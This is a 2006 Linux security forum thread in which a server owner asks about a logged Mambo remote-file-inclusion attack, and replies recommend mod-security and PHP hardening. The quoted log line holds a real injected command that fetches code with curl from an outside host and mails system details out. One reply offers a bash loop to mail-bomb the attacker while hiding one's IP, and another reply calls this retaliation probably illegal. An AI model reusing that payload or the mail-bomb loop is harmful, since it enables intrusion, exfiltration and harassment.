Linux - Security This forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here. |
Notices |
Welcome to LinuxQuestions.org, a friendly and active Linux Community.
You are currently viewing LQ as a guest. By joining our community you will have the ability to post topics, receive our newsletter, use the advanced search, subscribe to threads and access many other special features. Registration is quick, simple and absolutely free. Join our community today!
Note that registered members see fewer ads, and ContentLink is completely disabled once you log in.
Are you new to LinuxQuestions.org? Visit the following links:
Site Howto |
Site FAQ |
Sitemap |
Register Now
If you have any problems with the registration process or your account login, please contact us. If you need to reset your password, click here.
Having a problem logging in? Please visit this page to clear all LQ-related cookies.
Get a virtual cloud desktop with the Linux distro that you want in less than five minutes with Shells! With over 10 pre-installed distros to choose from, the worry-free installation life is here! Whether you are a digital nomad or just looking for flexibility, Shells can put your Linux machine on the device that you want to use.
Exclusive for LQ members, get up to 45% off per month. Click here for more info.
|
|
07-18-2006, 09:33 PM
|
#1
|
Member
Registered: Jun 2005
Posts: 34
Rep:
|
php and apache hack
So I have a computer running apache, mysql, and php. I've noticed in my apache logs that some has been trying to get information form my system.
Over the past few days, this command has been issued.
211.213.178.106 - - [15/Jul/2006:12:22:08 -0500] "GET /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLO
BALS=&mosConfig_absolute_path=http://220.194.57.112/~photo/cm?&cmd=cd%20cache;curl%20-O%20http://220.194.57.112/~photo/cm;m
v%20cm%20index.php;rm%20-rf%20cm*;uname%20-a%20|%20mail%20-s%20uname_i2_67.175.201.98%20kkparole@yahoo.com;uname%20-a%20|%2
0mail%20-s%20uname_i2_67.175.201.98%20michaelroul@yahoo.com;echo| HTTP/1.1" 404 65
Correct me if I'm wrong, but I believe they are trying to copy a file "cm" to my computer, overwrite index.php, and remove any evidence. Then they are emailing info about my system to a couple yahoo email addresses.
This command is repeated for a bunch of sub-directories all looking for index.php.
None of the subdirectories they looked for exist, and there is no index.php in the main directory, so I do't think any files were overwritten.
There is nothing important on this computer, so if I have been compromised, re-installing is not a problem, but I would rather learn from this and tighten security, and try to track down anything else that may have happened.
So I have a few questions. Some of these might be very simple.
How can I disable mail so they could not email themselves?
Was something actually executed on my computer?
Any links for how php can be exploited to let a command be executed on a remote computer?
What settings should I change for php, mysql, or apache to help stop these explots?
Last edited by ajk48n; 07-18-2006 at 09:34 PM.
|
|
|
07-18-2006, 10:47 PM
|
#2
|
LQ Guru
Registered: Nov 2004
Location: San Jose, CA
Distribution: Debian, Arch
Posts: 8,507
Rep:
|
The 404 indicates that the vulnerable application (mambo) is not installed on your system. Interestingly, you can get the hackers email addresses (two yahoo accounts) from the data they sent you. I doubt you'd be able to get anything done, however.
|
|
|
07-19-2006, 03:29 AM
|
#3
|
Senior Member
Registered: Jan 2003
Location: Devon, UK
Distribution: Debian Etc/kernel 2.6.18-4K7
Posts: 2,380
Rep:
|
The gentleman (caca) is well lnown to me. My suggestion is to look at implementing mod-security and the common rules on your apache server if you are using php based apps. There are also modifications that should be made to php.ini such as turning globals off. You can view the code for the exploit by using the address before the "&cmd". He isn't trying to upload the app to your system. The code from this page is probing your system to find weaknesses in your system security.
Whilst there may not be anything important on your server you might find that your system is "acquired" by a hacker and applications such as IRC software is installed and a group then starts using your system as a meeting place. The most important thing is ensure that he doesn't get access to /.
Last edited by TigerOC; 07-19-2006 at 03:34 AM.
|
|
|
07-19-2006, 05:05 AM
|
#4
|
Senior Member
Registered: Sep 2005
Location: Out
Posts: 3,307
Rep:
|
Send him a little gift?
Code:
for (( i=1 ; $i<1000 ; i=$(($i+1)) )) ; do head -c8000 /dev/urandom| od -An -tu4 | mail -s uname_i2_$(($i*$i%256)).$(($i*$i*$i%255)).$(($i*$i*$i%254)).$(($i*$i*$i*$i*$i%253)) kkparole@yahoo.com ; done
|
|
|
07-19-2006, 05:09 AM
|
#5
|
LQ Guru
Registered: Mar 2006
Location: Sydney, Australia
Distribution: Fedora, CentOS, OpenSuse, Slack, Gentoo, Debian, Arch, PCBSD
Posts: 6,678
Rep:
|
What does that do nx?
|
|
|
07-19-2006, 05:21 AM
|
#6
|
Senior Member
Registered: Sep 2005
Location: Out
Posts: 3,307
Rep:
|
It sends him 8000 emails in a few minutes
Fightback sometimes is good. Be sure to hide your IP when you do this..
Sorry mods if this is against the rules, delete it. Well its just a for loop after all
|
|
|
07-19-2006, 09:27 AM
|
#7
|
Member
Registered: Jun 2005
Posts: 34
Original Poster
Rep:
|
How would someone be able to gain access to / since apache's root directory is /var/www ?
How do you hide your IP?
Thanks for all the help.
|
|
|
07-19-2006, 12:13 PM
|
#8
|
LQ Guru
Registered: Nov 2004
Location: San Jose, CA
Distribution: Debian, Arch
Posts: 8,507
Rep:
|
Unless apache's running in a chroot, the root directory for the server has no affect on controlling access to other directories.
Also, retaliation is unhelpful and probably illegal. Let's not sink to their level.
|
|
|
07-19-2006, 12:19 PM
|
#9
|
Senior Member
Registered: Jan 2003
Location: Devon, UK
Distribution: Debian Etc/kernel 2.6.18-4K7
Posts: 2,380
Rep:
|
Quote:
Originally Posted by ajk48n
How would someone be able to gain access to / since apache's root directory is /var/www ?
|
There are certain scripts around such as r57 which will enable the hacker to explore your whole file system if you have any vulnerable php applications on your site. I have personal experience of this. It is then possible for them, using the same tool, to upload files to your server under the ownership of your apache user (www-data or nobody). Take a look at two screen captures of this tool in action before I implemented mod-security on my server, with a vulnerable app,
here and here.
|
|
|
07-19-2006, 08:03 PM
|
#10
|
Member
Registered: Jun 2005
Posts: 34
Original Poster
Rep:
|
Thanks for all the replies.
What changes could I add in apache's security files that would make these or other attacks have less chances of succeeding?
|
|
|
07-19-2006, 11:29 PM
|
#12
|
Member
Registered: Jun 2005
Posts: 34
Original Poster
Rep:
|
Thanks for the links
|
|
|
07-20-2006, 12:23 AM
|
#13
|
LQ Guru
Registered: Nov 2004
Location: San Jose, CA
Distribution: Debian, Arch
Posts: 8,507
Rep:
|
No problem. Let me know if I can expand on any of the content in those articles.
|
|
|
All times are GMT -5. The time now is 02:40 PM.
|
LinuxQuestions.org is looking for people interested in writing
Editorials, Articles, Reviews, and more. If you'd like to contribute
content, let us know.
|
Latest Threads
LQ News
|
|